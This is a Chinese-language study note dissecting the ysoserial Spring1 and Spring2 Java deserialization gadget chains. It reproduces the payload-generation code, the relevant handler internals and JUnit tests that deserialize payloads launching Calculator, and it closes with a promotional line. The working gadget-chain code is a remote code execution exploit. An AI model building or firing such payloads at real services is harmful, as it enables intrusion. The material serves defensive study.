知识点
以下是两个 payload 中涉及到的知识点:
使用 TemplatesImpl 的 _bytecodes 字段存储恶意字节码,利用 newTransformer() 方法触发恶意代码执行 ,具体可以参考 Java反序列 Jdk7u21 Payload 学习笔记 中关于 TemplatesImpl 的说明
利用 AnnotationInvocationHandler 控制代理方法调用的返回值。 在 invoke() 方法中的,当 proxy class 调用的方法名不是 equals 、 toString 、 hashCode 、 annotationType 时,会从 memberValues (类型为 Map) 取 key 为 method 对应的值。因为 memberValues 是可控的,因此可以指定某个方法的返回值,具体可参考下面的代码
classAnnotationInvocationHandlerimplementsInvocationHandler,Serializable{ privatefinalClass type; privatefinalMap memberValues; AnnotationInvocationHandler(Class type,Map memberValues) {this.type = type;this.memberValues = memberValues; } publicObjectinvoke(Objectproxy, Method method,Object[] args) {Stringmember = method.getName(); Class[] paramTypes = method.getParameterTypes();// Handle Object and Annotation methodsif(member.equals("equals") && paramTypes.length ==1&& paramTypes[0] ==Object.class)returnequalsImpl(args[0]);assertparamTypes.length ==0;if(member.equals("toString"))returntoStringImpl();if(member.equals("hashCode"))returnhashCodeImpl();if(member.equals("annotationType"))returntype;// Handle annotation member accessorsObjectresult = memberValues.get(member); ...returnresult; }}
利用的反序列化类为 org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
使用到了 Spring AOP 包中 InvocationHandler ,分别为
org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
Spring1
payload 生成代码如下
publicObjectgetObject(finalStringcommand) throws Exception {// 使用 TemplatesImpl 存储恶意字节码finalObjecttemplates = Gadgets.createTemplatesImpl(command);// 使用 AnnotationInvocationHandler 创建 ObjectFactory 接口的动态代理// 并且调用 objectFactoryProxy 的 getObject() 方法会返回 templates 对象finalObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);// 使用 ObjectFactoryDelegatingInvocationHandler 代理 Type 和 Templates 接口,返回值类型为 Type finalTypetypeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") .newInstance(objectFactoryProxy),Type.class, Templates.class);// 使用 AnnotationInvocationHandler 创建 TypeProvider 接口的动态代理// 并且调用 typeProviderProxy 的 getType() 方法会返回 typeTemplatesProxy 对象finalObjecttypeProviderProxy = Gadgets.createMemoitizedProxy( Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));// 创建最终反序列化对象 MethodInvokeTypeProviderfinalConstructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");// 实例化,构造方法中,会将 provider 属性的值设置为 typeProviderProxyfinalObjectmitp = mitpCtor.newInstance(typeProviderProxy,Object.class.getMethod("getClass",newClass[] {}),0);// 设置 methodName 属性的值为 newTransformerReflections.setFieldValue(mitp,"methodName","newTransformer");returnmitp;}
来看一下 MethodInvokeTypeProvider 类的 readObject() 方法
privatevoid readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject();// methodName 的值为 newTransformer// this.provider 为代理对象,即 typeProviderProxyMethod method = ReflectionUtils.findMethod(this.provider.getType().getClass(),this.methodName);// 反射调用 this.provider 的 newTransformer 方法this.result = ReflectionUtils.invokeMethod(method,this.provider.getType());}
因为 this.provider 即 typeProviderProxy 是代理对象,因此调用 getType() 方法,会调用关联 InvocationHanlder 的 invoke() 方法,根据中提到的 AnnotationInvocationHandler 可以指定方法返回值的特性,这里会返回 typeTemplatesProxy ,接着调用其 getClass() 方法,反射查找 newTransformer 方法
下一步会反射调用 typeTemplatesProxy 的 newTransformer 方法,因为 typeTemplatesProxy 也是一个代理对象,因此会调用 ObjectFactoryDelegatingInvocationHandler 的inovke() 方法,其代码如下
privatestaticclassObjectFactoryDelegatingInvocationHandlerimplementsInvocationHandler,Serializable {privatefinalObjectFactory objectFactory;publicObjectFactoryDelegatingInvocationHandler(ObjectFactory objectFactory) {this.objectFactory = objectFactory; }@OverridepublicObject invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName();if(methodName.equals("equals")) {return(proxy == args[0]); }elseif(methodName.equals("hashCode")) {returnSystem.identityHashCode(proxy); }elseif(methodName.equals("toString")) {returnthis.objectFactory.toString(); }try{// 最终执行代码returnmethod.invoke(this.objectFactory.getObject(), args); }catch(InvocationTargetException ex) {throwex.getTargetException(); } }}
根据代码可以得知,最终会执行到
returnmethod.invoke(this.objectFactory.getObject(), args);
那么这里的 objectFactory 的值是什么?
根据 payload 中的生成代码
finalObjecttemplates = Gadgets.createTemplatesImpl(command);finalObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
值为 objectFactoryProxy ,也是一个代理对象,根据 AnnotationInvocationHandler的特性, objectFactory.getObject() 的返回值为 templates ,即最终调用的是 TemplatesImpl 的 newTransformer() 方法,触发恶意代码执行
整理一下关系
MethodInvokeTypeProvider.provider => typeProviderProxy
typeProviderProxy.getType() => AnnotationInvocationHandler.invoke() => typeTemplatesProxy
typeTemplatesProxy.newTransformer() => ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactoryDelegatingInvocationHandler.objectFactory.getObject() => AnnotationInvocationHandler.invoke() => TemplatesImpl
精简的 Gadget chain 如下
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()ReflectionUtils.invokeMethod()Templates(Proxy).newTransformer()AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()ObjectFactory(Proxy).getObject()AnnotationInvocationHandler.invoke()TemplatesImpl.newTransformer()
Spring2
payload 生成代码如下
publicObjectgetObject (finalStringcommand ) throws Exception {finalObjecttemplates = Gadgets.createTemplatesImpl(command);// 将 AdvisedSupport 的 target 属性值设置为 templates// AdvisedSupport 是 Spring AOP 的代理配置 managaerAdvisedSupportas=newAdvisedSupport();as.setTargetSource(newSingletonTargetSource(templates));// 使用 JdkDynamicAopProxy(实现了InvocationHandler接口) 来创建 Type 和 Templates 接口的动态代理// JdkDynamicAopProxy 的 advised 属性值为 asfinalTypetypeTemplatesProxy = Gadgets.createProxy( (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),Type.class, Templates.class);finalObjecttypeProviderProxy = Gadgets.createMemoitizedProxy( Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));Objectmitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); Reflections.setFieldValue(mitp,"provider", typeProviderProxy); Reflections.setFieldValue(mitp,"methodName","newTransformer");returnmitp;}
Spring2 和 Spring1 的反序列化过程大致相似,唯一不同的在于,这里使用了 AOP 包中另一个 ` InvocationHandler - JdkDynamicAopProxy 来创建 typeTemplatesProxy ,来看一下它的 invoke()` 方法,精简后如下
finalclassJdkDynamicAopProxyimplementsAopProxy,InvocationHandler,Serializable{ ... privatefinalAdvisedSupport advised; ... publicObjectinvoke(Objectproxy, Method method,Object[] args) throws Throwable { MethodInvocation invocation;ObjectoldProxy =null; boolean setProxyContext =false; TargetSource targetSource =this.advised.targetSource; Class targetClass =null;Objecttarget =null;try{ .... target = targetSource.getTarget();if(target !=null) { targetClass = target.getClass(); }List chain =this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);if(chain.isEmpty()) {// 调用 target 的 method 方法retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args); }else{ .... } ...returnretVal; }finally{ .... } }}
经过一系列判断,最后会在 this.advised.targetSource.getTarget() 对象上调用 method,根据 paylaod 生成代码,这里的 target 为 TemplatesImpl ,method 为 newTransformer,最终触发恶意代码执行
测试
@TestpublicvoidtestSpring1()throwsException{// mkdir -p /tmp/ysoserial// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "open /Applications/Calculator.app" > /tmp/ysoserial/spring1.classObjectInputStream ois =newObjectInputStream(newFileInputStream(newFile("/tmp/ysoserial/spring1.class"))); ois.readObject();}@TestpublicvoidtestSpring2()throwsException{// mkdir -p /tmp/ysoserial// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring2 "open /Applications/Calculator.app" > /tmp/ysoserial/spring2.classObjectInputStream ois =newObjectInputStream(newFileInputStream(newFile("/tmp/ysoserial/spring2.class"))); ois.readObject();}
我自己是一个从事了6年的Java全栈工程师,最近整理了一套适合2019年学习的Java\大数据资
料,从基础的Java、大数据面向对象到进阶的框架知识都有整理哦,可以来我的主页免费领取哦。